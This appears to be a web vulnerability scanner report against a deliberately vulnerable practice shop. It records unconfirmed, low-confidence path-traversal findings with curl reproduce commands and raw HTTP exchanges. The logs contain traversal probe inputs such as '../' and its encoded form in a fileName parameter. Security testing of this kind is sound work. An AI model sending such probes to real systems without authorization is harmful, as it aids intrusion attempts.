Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?fileName=skso7ed9r/../1&path=1&email=1&token=1&action=1&value=1&type=1&key=1'

GET /catalog.php?fileName=skso7ed9r/../1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=…

request

GET /catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:20 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=…

request

GET /catalog.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:20 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=skso7ed9r/../1&path=1&email=1&token=1…

request

GET /catalog.php?fileName=skso7ed9r/../1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:20 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=skso7ed9r/%2e%2e/1&path=1&email=1&token=…

request

GET /catalog.php?fileName=skso7ed9r/%2e%2e/1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:20 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=skso7ed9r/1&path=1&email=1&token=1…

request

GET /catalog.php?fileName=skso7ed9r/1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:20 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?fileName=&path=1&email=1&token=1&action=1&value=1…

request

GET /catalog.php?fileName=&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:01:21 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · fileName unconfirmed · low confidence BV-026 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1
input: fileName in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

fileName reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

fileName looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1… bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=skso7ed9r/../1&path=1&email=1&token=1&action=1&value=1&type=1&key=1'

GET /sekumart.sekuripy.hr/login.php?fileName=skso7ed9r/../1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

baseline again, to locate per-request churn HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

normalised HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=skso7ed9r/../1&path=1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=skso7ed9r/../1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

double_encoded HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=skso7ed9r/%2e%2e/1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=skso7ed9r/%2e%2e/1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

control HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=skso7ed9r/1&path=1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=skso7ed9r/1&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

listing HTTP 404 https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?fileName=&path=1&email=1…

request

GET /sekumart.sekuripy.hr/login.php?fileName=&path=1&email=1&token=1&action=1&value=1&type=1&key=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 404
cache-control: no-store, no-cache, must-revalidate
content-length: 2965
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:46 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — page not found</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href=

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/cart.php query string · file unconfirmed · low confidence BV-027 info

location: GET https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1
input: file in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

file reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

